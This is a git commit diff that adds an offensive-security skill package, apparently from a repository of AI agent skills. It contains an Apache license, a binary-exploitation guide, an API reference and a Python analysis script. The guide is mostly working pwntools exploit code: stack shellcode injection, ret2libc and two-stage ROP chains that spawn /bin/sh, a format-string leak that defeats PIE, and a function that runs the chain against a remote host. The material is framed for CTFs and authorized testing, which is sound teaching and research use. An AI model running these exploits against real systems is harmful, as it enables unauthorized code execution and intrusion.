reverse-skills-max: initial public release (restored, redacted, hardened)

This commit is contained in:
baradok609hecl1pq6qi
2026-10-20 02:17:15 +03:00
commit da24c2bd20
2227 changed files with 443931 additions and 0 deletions

View File

@@ -0,0 +1,201 @@
Apache License
Version 2.0, January 2004
http://www.apache.org/licenses/
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
1. Definitions.
"License" shall mean the terms and conditions for use, reproduction,
and distribution as defined by Sections 1 through 9 of this document.
"Licensor" shall mean the copyright owner or entity authorized by
the copyright owner that is granting the License.
"Legal Entity" shall mean the union of the acting entity and all
other entities that control, are controlled by, or are under common
control with that entity. For the purposes of this definition,
"control" means (i) the power, direct or indirect, to cause the
direction or management of such entity, whether by contract or
otherwise, or (ii) ownership of fifty percent (50%) or more of the
outstanding shares, or (iii) beneficial ownership of such entity.
"You" (or "Your") shall mean an individual or Legal Entity
exercising permissions granted by this License.
"Source" form shall mean the preferred form for making modifications,
including but not limited to software source code, documentation
source, and configuration files.
"Object" form shall mean any form resulting from mechanical
transformation or translation of a Source form, including but
not limited to compiled object code, generated documentation,
and conversions to other media types.
"Work" shall mean the work of authorship, whether in Source or
Object form, made available under the License, as indicated by a
copyright notice that is included in or attached to the work
(an example is provided in the Appendix below).
"Derivative Works" shall mean any work, whether in Source or Object
form, that is based on (or derived from) the Work and for which the
editorial revisions, annotations, elaborations, or other modifications
represent, as a whole, an original work of authorship. For the purposes
of this License, Derivative Works shall not include works that remain
separable from, or merely link (or bind by name) to the interfaces of,
the Work and Derivative Works thereof.
"Contribution" shall mean any work of authorship, including
the original version of the Work and any modifications or additions
to that Work or Derivative Works thereof, that is intentionally
submitted to the Licensor for inclusion in the Work by the copyright owner
or by an individual or Legal Entity authorized to submit on behalf of
the copyright owner. For the purposes of this definition, "submitted"
means any form of electronic, verbal, or written communication sent
to the Licensor or its representatives, including but not limited to
communication on electronic mailing lists, source code control systems,
and issue tracking systems that are managed by, or on behalf of, the
Licensor for the purpose of discussing and improving the Work, but
excluding communication that is conspicuously marked or otherwise
designated in writing by the copyright owner as "Not a Contribution."
"Contributor" shall mean Licensor and any individual or Legal Entity
on behalf of whom a Contribution has been received by the Licensor and
subsequently incorporated within the Work.
2. Grant of Copyright License. Subject to the terms and conditions of
this License, each Contributor hereby grants to You a perpetual,
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
copyright license to reproduce, prepare Derivative Works of,
publicly display, publicly perform, sublicense, and distribute the
Work and such Derivative Works in Source or Object form.
3. Grant of Patent License. Subject to the terms and conditions of
this License, each Contributor hereby grants to You a perpetual,
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
(except as stated in this section) patent license to make, have made,
use, offer to sell, sell, import, and otherwise transfer the Work,
where such license applies only to those patent claims licensable
by such Contributor that are necessarily infringed by their
Contribution(s) alone or by combination of their Contribution(s)
with the Work to which such Contribution(s) was submitted. If You
institute patent litigation against any entity (including a
cross-claim or counterclaim in a lawsuit) alleging that the Work
or a Contribution incorporated within the Work constitutes direct
or contributory patent infringement, then any patent licenses
granted to You under this License for that Work shall terminate
as of the date such litigation is filed.
4. Redistribution. You may reproduce and distribute copies of the
Work or Derivative Works thereof in any medium, with or without
modifications, and in Source or Object form, provided that You
meet the following conditions:
(a) You must give any other recipients of the Work or
Derivative Works a copy of this License; and
(b) You must cause any modified files to carry prominent notices
stating that You changed the files; and
(c) You must retain, in the Source form of any Derivative Works
that You distribute, all copyright, patent, trademark, and
attribution notices from the Source form of the Work,
excluding those notices that do not pertain to any part of
the Derivative Works; and
(d) If the Work includes a "NOTICE" text file as part of its
distribution, then any Derivative Works that You distribute must
include a readable copy of the attribution notices contained
within such NOTICE file, excluding any notices that do not
pertain to any part of the Derivative Works, in at least one
of the following places: within a NOTICE text file distributed
as part of the Derivative Works; within the Source form or
documentation, if provided along with the Derivative Works; or,
within a display generated by the Derivative Works, if and
wherever such third-party notices normally appear. The contents
of the NOTICE file are for informational purposes only and
do not modify the License. You may add Your own attribution
notices within Derivative Works that You distribute, alongside
or as an addendum to the NOTICE text from the Work, provided
that such additional attribution notices cannot be construed
as modifying the License.
You may add Your own copyright statement to Your modifications and
may provide additional or different license terms and conditions
for use, reproduction, or distribution of Your modifications, or
for any such Derivative Works as a whole, provided Your use,
reproduction, and distribution of the Work otherwise complies with
the conditions stated in this License.
5. Submission of Contributions. Unless You explicitly state otherwise,
any Contribution intentionally submitted for inclusion in the Work
by You to the Licensor shall be under the terms and conditions of
this License, without any additional terms or conditions.
Notwithstanding the above, nothing herein shall supersede or modify
the terms of any separate license agreement you may have executed
with Licensor regarding such Contributions.
6. Trademarks. This License does not grant permission to use the trade
names, trademarks, service marks, or product names of the Licensor,
except as required for reasonable and customary use in describing the
origin of the Work and reproducing the content of the NOTICE file.
7. Disclaimer of Warranty. Unless required by applicable law or
agreed to in writing, Licensor provides the Work (and each
Contributor provides its Contributions) on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
implied, including, without limitation, any warranties or conditions
of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
PARTICULAR PURPOSE. You are solely responsible for determining the
appropriateness of using or redistributing the Work and assume any
risks associated with Your exercise of permissions under this License.
8. Limitation of Liability. In no event and under no legal theory,
whether in tort (including negligence), contract, or otherwise,
unless required by applicable law (such as deliberate and grossly
negligent acts) or agreed to in writing, shall any Contributor be
liable to You for damages, including any direct, indirect, special,
incidental, or consequential damages of any character arising as a
result of this License or out of the use or inability to use the
Work (including but not limited to damages for loss of goodwill,
work stoppage, computer failure or malfunction, or any and all
other commercial damages or losses), even if such Contributor
has been advised of the possibility of such damages.
9. Accepting Warranty or Additional Liability. While redistributing
the Work or Derivative Works thereof, You may choose to offer,
and charge a fee for, acceptance of support, warranty, indemnity,
or other liability obligations and/or rights consistent with this
License. However, in accepting such obligations, You may act only
on Your own behalf and on Your sole responsibility, not on behalf
of any other Contributor, and only if You agree to indemnify,
defend, and hold each Contributor harmless for any liability
incurred by, or claims asserted against, such Contributor by reason
of your accepting any such warranty or additional liability.
END OF TERMS AND CONDITIONS
APPENDIX: How to apply the Apache License to your work.
To apply the Apache License to your work, attach the following
boilerplate notice, with the fields enclosed by brackets "[]"
replaced with your own identifying information. (Don't include
the brackets!) The text should be enclosed in the appropriate
comment syntax for the file format. Please do not remove or change
the license header comment from a contributed file except when
necessary.
Copyright 2026 mukul975
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.

View File

@@ -0,0 +1,459 @@
---
name: performing-binary-exploitation-analysis
description: 'Analyze ELF binaries for memory-corruption vulnerabilities and build proof-of-concept
exploits using pwntools, checksec, and ROPgadget for buffer overflows and ROP chains. Use
when a penetration test or CTF challenge requires evaluating compiler mitigations (NX, ASLR,
stack canaries, PIE, RELRO) or developing a working exploit to demonstrate impact.
'
domain: cybersecurity
subdomain: offensive-security
tags:
- binary-exploitation
- pwntools
- rop-chains
- buffer-overflow
version: '1.0'
author: mahipal
license: Apache-2.0
nist_csf:
- ID.RA-01
- GV.OV-02
- DE.AE-07
mitre_attack:
- T1078
- T1190
- T1059
---
# Performing Binary Exploitation Analysis
**For authorized security testing and CTF challenges only.**
Analyze ELF binaries for exploitation vectors using checksec, ROPgadget,
and pwntools for buffer overflow and ROP chain development.
## When to Use
- Analyzing ELF binaries during authorized penetration tests to identify memory corruption vulnerabilities
- Solving binary exploitation challenges in CTF competitions
- Evaluating the effectiveness of compiler mitigations (NX, ASLR, stack canaries, PIE, RELRO) on target binaries
- Developing proof-of-concept exploits for vulnerability reports to demonstrate impact
- Training security engineers in exploit development techniques for defensive awareness
- Validating that security patches for buffer overflow vulnerabilities are effective
**Do not use** against systems without explicit written authorization. Binary exploitation techniques can cause system instability and must only be applied in controlled environments (lab VMs, CTF platforms, authorized pentests with scope documents).
## Prerequisites
- Linux system (Ubuntu/Debian recommended) for exploit development
- Python 3.8+ with `pwntools` (`pip install pwntools`)
- GDB with `pwndbg` or `GEF` plugin for enhanced debugging
- `ROPgadget` for ROP chain gadget discovery (`pip install ROPgadget`)
- `checksec` (included with pwntools or standalone via `apt install checksec`)
- Target vulnerable binary compiled for testing (e.g., from pwnable.kr, ROP Emporium, or custom test binaries)
- Basic understanding of x86/x86_64 calling conventions and stack layout
## Workflow
### Step 1: Install the Exploitation Toolkit
```bash
# Install pwntools and dependencies
pip install pwntools ROPgadget
# Install GDB with pwndbg plugin
git clone https://github.com/pwndbg/pwndbg
cd pwndbg && ./setup.sh
# Alternatively, install GEF (GDB Enhanced Features)
# bash -c "$(curl -fsSL https://gef.blah.cat/sh)"
# Install supporting tools
sudo apt install -y gdb nasm gcc-multilib libc6-dbg
# Verify installation
python3 -c "from pwn import *; print('pwntools version:', version)"
checksec --version
ROPgadget --version
```
### Step 2: Analyze Binary Protections with checksec
Before writing any exploit, enumerate the security mitigations compiled into the binary:
```python
from pwn import *
# Load the target binary
binary_path = "./vulnerable_server"
elf = ELF(binary_path)
# checksec output explains what mitigations are in place
print(f"Architecture: {elf.arch}")
print(f"Bits: {elf.bits}")
print(f"Endianness: {elf.endian}")
print()
# Key security properties
# RELRO: Full = GOT is read-only, Partial = GOT header read-only, No = writable GOT
# Stack Canary: Detects stack buffer overflows via random canary value
# NX (No-eXecute): Prevents executing code on the stack (DEP)
# PIE: Position Independent Executable, randomizes base address
# ASLR: OS-level address randomization (check /proc/sys/kernel/randomize_va_space)
# Also available via command line:
# checksec --file=./vulnerable_server
```
```bash
# Command-line checksec output example:
checksec --file=./vulnerable_server
# RELRO STACK CANARY NX PIE
# Partial RELRO No canary found NX disabled No PIE
# Check ASLR status on the system
cat /proc/sys/kernel/randomize_va_space
# 0 = disabled, 1 = conservative, 2 = full randomization
```
### Step 3: Find the Buffer Overflow Offset
Determine exactly how many bytes are needed to overwrite the return address:
```python
from pwn import *
context.binary = ELF("./vulnerable_server")
context.log_level = "info"
# Method 1: Use cyclic pattern to find exact offset
# Generate a unique cyclic pattern
pattern_length = 200
pattern = cyclic(pattern_length)
print(f"Generated cyclic pattern of length {pattern_length}")
# Send the pattern to the binary
p = process("./vulnerable_server")
p.sendline(pattern)
p.wait()
# After the crash, read the value in RIP/EIP from core dump or GDB
# Then find the offset:
# For 64-bit: crashed_value = p.corefile.fault_addr
# Or manually from GDB: "info registers rip" after crash
crashed_rip = 0x6161616c # Example value from crash
offset = cyclic_find(crashed_rip)
print(f"Offset to return address: {offset} bytes")
# Method 2: Use GDB with pwndbg to find offset interactively
# In GDB:
# pwndbg> cyclic 200
# pwndbg> run < <(python3 -c "from pwn import *; print(cyclic(200).decode())")
# pwndbg> cyclic -l $rsp (or cyclic -l <value in RIP>)
```
### Step 4: Exploit a Stack Buffer Overflow (NX Disabled)
When NX is disabled, inject and execute shellcode directly on the stack:
```python
from pwn import *
# Configuration
binary_path = "./vulnerable_server"
context.binary = ELF(binary_path)
context.arch = "amd64" # or "i386" for 32-bit
OFFSET = 72 # Determined in Step 3
# Generate shellcode
# execve("/bin/sh", NULL, NULL) - spawn a shell
shellcode = asm(shellcraft.sh())
print(f"Shellcode length: {len(shellcode)} bytes")
# Build the exploit payload
# Layout: [NOP sled] [shellcode] [padding] [return address -> NOP sled]
nop_sled = asm("nop") * 32
# For a local exploit without ASLR, we can estimate the buffer address
# Run in GDB first to find the buffer address:
# break *main+XX (after read/gets call)
# x/20x $rsp
buffer_addr = 0x7fffffffe000 # Example - get from GDB
padding_len = OFFSET - len(nop_sled) - len(shellcode)
payload = nop_sled + shellcode + b"A" * padding_len + p64(buffer_addr)
# Launch exploit
p = process(binary_path)
p.sendline(payload)
p.interactive() # Interact with the spawned shell
```
### Step 5: Build a ROP Chain (NX Enabled)
When NX prevents stack code execution, chain existing code gadgets (Return-Oriented Programming):
```bash
# Find ROP gadgets in the binary
ROPgadget --binary ./vulnerable_server
# Find specific gadgets
ROPgadget --binary ./vulnerable_server --only "pop|ret"
ROPgadget --binary ./vulnerable_server --only "mov|ret"
# Search for gadgets to control registers for syscall
ROPgadget --binary ./vulnerable_server | grep "pop rdi"
ROPgadget --binary ./vulnerable_server | grep "pop rsi"
ROPgadget --binary ./vulnerable_server | grep "pop rdx"
ROPgadget --binary ./vulnerable_server | grep "syscall"
# Find gadgets in libc (for ret2libc attacks)
ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 --only "pop|ret" | head -20
```
```python
from pwn import *
binary_path = "./vulnerable_server"
elf = ELF(binary_path)
context.binary = elf
OFFSET = 72
# Method 1: ret2libc - call system("/bin/sh") via libc
# When the binary is dynamically linked and we know libc version
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
# Start process to leak libc address
p = process(binary_path)
# If there is a format string or info leak, use it to find libc base
# Example: binary prints puts@GOT address
p.recvuntil(b"puts address: ")
puts_leak = int(p.recvline().strip(), 16)
libc.address = puts_leak - libc.symbols["puts"]
log.success(f"libc base: {hex(libc.address)}")
# Find a "pop rdi; ret" gadget for x86_64 calling convention
# First argument goes in RDI register
pop_rdi = elf.search(asm("pop rdi; ret")).__next__()
ret_gadget = elf.search(asm("ret")).__next__() # Stack alignment
# Build the ROP chain: system("/bin/sh")
bin_sh_addr = next(libc.search(b"/bin/sh\x00"))
system_addr = libc.symbols["system"]
rop_chain = flat(
b"A" * OFFSET, # Padding to reach return address
ret_gadget, # Stack alignment (needed for movaps in system)
pop_rdi, # pop rdi; ret - load /bin/sh address into RDI
bin_sh_addr, # Address of "/bin/sh" string in libc
system_addr, # Call system()
)
p.sendline(rop_chain)
p.interactive()
```
### Step 6: Use pwntools ROP Helper for Automated Chain Building
```python
from pwn import *
binary_path = "./vulnerable_server"
elf = ELF(binary_path)
context.binary = elf
OFFSET = 72
# pwntools automatic ROP chain builder
rop = ROP(elf)
# If the binary has enough gadgets, pwntools can build chains automatically
# For execve("/bin/sh", 0, 0) syscall:
rop.call("puts", [elf.got["puts"]]) # Leak GOT entry
rop.call(elf.symbols["main"]) # Return to main for second stage
# Print the ROP chain for debugging
print(rop.dump())
# Build first-stage payload (leak libc)
stage1 = flat(
b"A" * OFFSET,
rop.chain()
)
p = process(binary_path)
p.sendline(stage1)
# Parse the leaked puts address
p.recvuntil(b"\n") # Skip program output
leaked_puts = u64(p.recvline().strip().ljust(8, b"\x00"))
log.success(f"Leaked puts@GOT: {hex(leaked_puts)}")
# Calculate libc base
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
libc.address = leaked_puts - libc.symbols["puts"]
log.success(f"libc base: {hex(libc.address)}")
# Build second-stage ROP chain using libc gadgets
rop2 = ROP(libc)
rop2.call("execve", [next(libc.search(b"/bin/sh\x00")), 0, 0])
stage2 = flat(
b"A" * OFFSET,
rop2.chain()
)
p.sendline(stage2)
p.interactive()
```
### Step 7: Debug Exploits with GDB and pwndbg
```python
from pwn import *
binary_path = "./vulnerable_server"
elf = ELF(binary_path)
context.binary = elf
context.terminal = ["tmux", "splitw", "-h"] # or ["gnome-terminal", "--"]
# Launch binary under GDB with pwndbg
p = gdb.debug(binary_path, """
# Set breakpoints at key locations
break *main
break *main+85
# Continue to the vulnerable function
continue
""")
# GDB commands useful during exploit development:
# pwndbg> vmmap - Show memory mappings (find stack, heap, libc)
# pwndbg> checksec - Show binary protections
# pwndbg> search -s "/bin/sh" - Find string in memory
# pwndbg> rop --grep "pop rdi" - Search for gadgets
# pwndbg> cyclic 200 - Generate cyclic pattern
# pwndbg> cyclic -l 0x616161 - Find offset from pattern value
# pwndbg> telescope $rsp 20 - Show stack contents
# pwndbg> x/20gx $rsp - Examine stack as 64-bit values
# pwndbg> heap - Analyze heap state
# pwndbg> got - Show GOT entries and resolved addresses
# pwndbg> plt - Show PLT entries
OFFSET = 72
payload = b"A" * OFFSET + p64(0xdeadbeef)
p.sendline(payload)
p.interactive()
```
### Step 8: Handle PIE and ASLR with Information Leaks
```python
from pwn import *
binary_path = "./vulnerable_pie_binary"
elf = ELF(binary_path)
context.binary = elf
# When PIE is enabled, we need to leak a code address to defeat randomization
# Common leak techniques:
# 1. Format string vulnerability: %p to leak stack/code pointers
# 2. Partial overwrite: overwrite only lower bytes of a pointer
# 3. Uninitialized memory: read stack memory containing code pointers
p = process(binary_path)
# Example: Using a format string leak to defeat PIE
# If the binary has a printf(user_input) vulnerability:
p.sendline(b"%p.%p.%p.%p.%p.%p.%p.%p.%p.%p")
leak_output = p.recvline().strip().decode()
leaked_addrs = leak_output.split(".")
# Parse leaked addresses to find a code pointer
for i, addr in enumerate(leaked_addrs):
try:
val = int(addr, 16)
# PIE binaries typically load at 0x55XXXXXXXXXX on 64-bit
if 0x550000000000 <= val <= 0x560000000000:
log.info(f"Offset {i}: {addr} (likely PIE code address)")
# libc addresses typically at 0x7fXXXXXXXXXX
elif 0x7f0000000000 <= val <= 0x800000000000:
log.info(f"Offset {i}: {addr} (likely libc address)")
except ValueError:
continue
# Once we have a leaked PIE address, calculate the binary base
leaked_code_addr = int(leaked_addrs[5], 16) # Example offset
elf.address = leaked_code_addr - elf.symbols["main"] # Adjust for known offset
log.success(f"PIE base: {hex(elf.address)}")
# Now we can use absolute addresses in our ROP chain
rop = ROP(elf)
# ... build chain using elf.symbols which are now correctly rebased
```
### Step 9: Exploit a Remote Target
```python
from pwn import *
# Configuration
REMOTE_HOST = "target.ctf.example.com"
REMOTE_PORT = 9001
binary_path = "./vulnerable_server"
elf = ELF(binary_path)
context.binary = elf
def exploit(target):
"""Run the full exploit chain against a target (local or remote)."""
OFFSET = 72
# Stage 1: Leak libc
rop1 = ROP(elf)
rop1.call("puts", [elf.got["puts"]])
rop1.call(elf.symbols["main"])
payload1 = flat(b"A" * OFFSET, rop1.chain())
target.sendlineafter(b"Input: ", payload1)
leaked = u64(target.recvline().strip().ljust(8, b"\x00"))
log.success(f"Leaked puts: {hex(leaked)}")
# Stage 2: ret2libc
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
libc.address = leaked - libc.symbols["puts"]
rop2 = ROP(libc)
rop2.call("execve", [next(libc.search(b"/bin/sh\x00")), 0, 0])
payload2 = flat(b"A" * OFFSET, rop2.chain())
target.sendlineafter(b"Input: ", payload2)
target.interactive()
# Test locally first
log.info("Testing exploit locally...")
local = process(binary_path)
exploit(local)
# Then run against remote target
# log.info("Running exploit against remote target...")
# remote = remote(REMOTE_HOST, REMOTE_PORT)
# exploit(remote)
```
## Verification
- Confirm `checksec` correctly identifies all binary mitigations (NX, canary, PIE, RELRO) and results match manual inspection
- Verify the cyclic pattern offset finder produces the correct offset by setting a breakpoint at the `ret` instruction and confirming RIP/EIP contains the expected cyclic value
- Test shellcode payloads execute correctly in a controlled environment with NX disabled
- Validate ROP chains by single-stepping through gadgets in GDB to confirm register values are set correctly before the final syscall/function call
- Confirm the exploit works both locally (`process()`) and against a remote target (`remote()`) when the correct libc version is used
- Verify that PIE bypass correctly rebases all addresses by checking GDB `vmmap` output against calculated addresses
- Test that the exploit fails gracefully when mitigations are re-enabled (confirms the exploit targets the correct weakness)
- Run `ROPgadget` output through a deduplication filter to confirm all referenced gadgets exist at the specified offsets in the target binary

View File

@@ -0,0 +1,74 @@
# API Reference: Binary Exploitation Analysis
## pwntools (Python)
```bash
pip install pwntools
```
### ELF Analysis
```python
from pwn import ELF, ROP, context
elf = ELF('./vulnerable_binary')
print(elf.checksec()) # Security mitigations
print(hex(elf.sym['main'])) # Symbol address
print(hex(elf.plt['system'])) # PLT entry
print(hex(elf.got['puts'])) # GOT entry
# ROP gadget discovery
rop = ROP(elf)
pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]
ret = rop.find_gadget(['ret'])[0]
```
### Exploit Template
```python
from pwn import *
context.binary = elf = ELF('./vuln')
p = process('./vuln') # or remote('host', port)
payload = flat(b'A' * offset, pop_rdi, next(elf.search(b'/bin/sh')), elf.plt['system'])
p.sendline(payload)
p.interactive()
```
## checksec CLI
```bash
checksec --file ./binary
checksec --file ./binary --output json
```
### Output Fields
| Field | Values | Impact |
|-------|--------|--------|
| NX | Enabled/Disabled | No shellcode on stack |
| PIE | Enabled/Disabled | Randomized addresses |
| Canary | Found/Not found | Stack smash detection |
| RELRO | Full/Partial/None | GOT write protection |
## ROPgadget CLI
```bash
# Find all gadgets
ROPgadget --binary ./vuln
# Search specific gadget
ROPgadget --binary ./vuln --only "pop|ret"
# Generate ROP chain
ROPgadget --binary ./vuln --ropchain
```
## Dangerous Functions
| Function | Risk |
|----------|------|
| gets() | Unbounded stdin read |
| strcpy() | No length check |
| sprintf() | No length check |
| scanf() | Possible overflow |
## MITRE ATT&CK
| Technique | Description |
|-----------|------------|
| T1203 | Exploitation for Client Execution |
| T1068 | Exploitation for Privilege Escalation |
| T1211 | Exploitation for Defense Evasion |

View File

@@ -0,0 +1,200 @@
#!/usr/bin/env python3
"""Binary exploitation analysis agent.
# For authorized security testing and CTF challenges only
Analyzes ELF binaries for security mitigations, discovers ROP gadgets,
and assists exploit development using pwntools and checksec.
"""
import argparse
import json
import subprocess
import sys
import datetime
try:
from pwn import ELF, ROP
HAS_PWNTOOLS = True
except ImportError:
HAS_PWNTOOLS = False
def run_checksec(binary_path):
"""Analyze binary security mitigations using checksec."""
if HAS_PWNTOOLS:
try:
elf = ELF(binary_path, checksec=False)
return {
"arch": elf.arch,
"bits": elf.bits,
"endian": elf.endian,
"nx": elf.nx,
"pie": elf.pie,
"canary": elf.canary,
"relro": "Full" if elf.relro == "Full" else ("Partial" if elf.relro else "None"),
"stripped": not elf.sym,
"static": elf.statically_linked,
}
except Exception as e:
return {"error": str(e)}
try:
result = subprocess.run(["checksec", "--file", binary_path, "--output", "json"],
capture_output=True, text=True, timeout=10)
if result.stdout:
return json.loads(result.stdout)
except (FileNotFoundError, subprocess.TimeoutExpired, json.JSONDecodeError):
pass
return {"error": "Neither pwntools nor checksec available"}
def find_rop_gadgets(binary_path, max_gadgets=20):
"""Find ROP gadgets using pwntools or ROPgadget."""
if HAS_PWNTOOLS:
try:
elf = ELF(binary_path, checksec=False)
rop = ROP(elf)
gadgets = []
for gadget in rop.gadgets.values():
if len(gadgets) >= max_gadgets:
break
gadgets.append({
"address": hex(gadget.address),
"insns": "; ".join(gadget.insns),
})
return gadgets
except Exception as e:
return [{"error": str(e)}]
try:
result = subprocess.run(
["ROPgadget", "--binary", binary_path, "--count", str(max_gadgets)],
capture_output=True, text=True, timeout=30
)
gadgets = []
for line in result.stdout.splitlines():
if " : " in line:
parts = line.split(" : ", 1)
gadgets.append({"address": parts[0].strip(), "insns": parts[1].strip()})
return gadgets[:max_gadgets]
except (FileNotFoundError, subprocess.TimeoutExpired):
return [{"error": "Neither pwntools ROP nor ROPgadget available"}]
def find_useful_functions(binary_path):
"""Find useful functions for exploitation (system, exec, write, etc.)."""
if not HAS_PWNTOOLS:
return {"error": "pwntools not available"}
try:
elf = ELF(binary_path, checksec=False)
interesting = ["system", "execve", "exec", "popen", "gets", "strcpy",
"sprintf", "read", "write", "puts", "printf", "mprotect"]
found = {}
for func in interesting:
addr = elf.sym.get(func) or elf.plt.get(func)
if addr:
found[func] = hex(addr)
got_entries = {}
for name in ["system", "printf", "puts", "__libc_start_main"]:
if name in elf.got:
got_entries[name] = hex(elf.got[name])
return {"functions": found, "got_entries": got_entries}
except Exception as e:
return {"error": str(e)}
def find_vulnerable_functions(binary_path):
"""Identify potentially vulnerable functions in the binary."""
dangerous = {"gets": "Unbounded read - guaranteed buffer overflow",
"strcpy": "No length check - possible overflow",
"strcat": "No length check - possible overflow",
"sprintf": "No length check - possible overflow",
"scanf": "Possible format string / overflow",
"vsprintf": "No length check - possible overflow"}
if not HAS_PWNTOOLS:
return {"error": "pwntools not available"}
try:
elf = ELF(binary_path, checksec=False)
found = []
for func, reason in dangerous.items():
if func in elf.plt or func in elf.sym:
found.append({"function": func, "reason": reason,
"address": hex(elf.plt.get(func, elf.sym.get(func, 0)))})
return found
except Exception as e:
return [{"error": str(e)}]
def analyze_binary(binary_path):
"""Full binary exploitation analysis."""
report = {
"binary": binary_path,
"timestamp": datetime.datetime.utcnow().isoformat() + "Z",
"checksec": run_checksec(binary_path),
"dangerous_functions": find_vulnerable_functions(binary_path),
"useful_functions": find_useful_functions(binary_path),
"rop_gadgets": find_rop_gadgets(binary_path, max_gadgets=15),
}
mitigations = report["checksec"]
if isinstance(mitigations, dict) and "error" not in mitigations:
report["exploit_difficulty"] = "HARD" if all([
mitigations.get("nx"), mitigations.get("pie"),
mitigations.get("canary"), mitigations.get("relro") == "Full"
]) else "MEDIUM" if mitigations.get("nx") else "EASY"
return report
def main():
parser = argparse.ArgumentParser(
description="Binary exploitation analysis agent (authorized testing only)"
)
parser.add_argument("binary", nargs="?", help="Path to ELF binary")
parser.add_argument("--checksec-only", action="store_true", help="Only run checksec")
parser.add_argument("--gadgets", type=int, default=15, help="Max ROP gadgets to find")
parser.add_argument("--output", "-o", help="Output JSON report path")
args = parser.parse_args()
print("[*] Binary Exploitation Analysis Agent")
print("[*] For authorized security testing and CTF challenges only")
print(f" pwntools available: {HAS_PWNTOOLS}")
if not args.binary:
print("\nUsage: python agent.py /path/to/binary [--checksec-only] [--gadgets 20]")
print(" Analyzes: mitigations, dangerous functions, ROP gadgets, GOT entries")
print(json.dumps({"demo": True, "pwntools": HAS_PWNTOOLS}, indent=2))
sys.exit(0)
if args.checksec_only:
result = run_checksec(args.binary)
print(json.dumps(result, indent=2))
sys.exit(0)
report = analyze_binary(args.binary)
checksec = report.get("checksec", {})
if isinstance(checksec, dict) and "error" not in checksec:
print(f"\n[*] Architecture: {checksec.get('arch')} ({checksec.get('bits')}-bit)")
print(f" NX: {checksec.get('nx')} | PIE: {checksec.get('pie')} | "
f"Canary: {checksec.get('canary')} | RELRO: {checksec.get('relro')}")
print(f" Exploit difficulty: {report.get('exploit_difficulty', '?')}")
dangerous = report.get("dangerous_functions", [])
if isinstance(dangerous, list) and dangerous:
print(f"\n[!] Dangerous functions found: {len(dangerous)}")
for d in dangerous:
if "error" not in d:
print(f" {d['function']} @ {d['address']}: {d['reason']}")
gadgets = report.get("rop_gadgets", [])
if gadgets and "error" not in gadgets[0]:
print(f"\n[*] ROP gadgets found: {len(gadgets)}")
for g in gadgets[:5]:
print(f" {g['address']}: {g['insns']}")
if args.output:
with open(args.output, "w") as f:
json.dump(report, f, indent=2)
print(json.dumps({"difficulty": report.get("exploit_difficulty", "unknown"),
"gadgets": len(gadgets)}, indent=2))
if __name__ == "__main__":
main()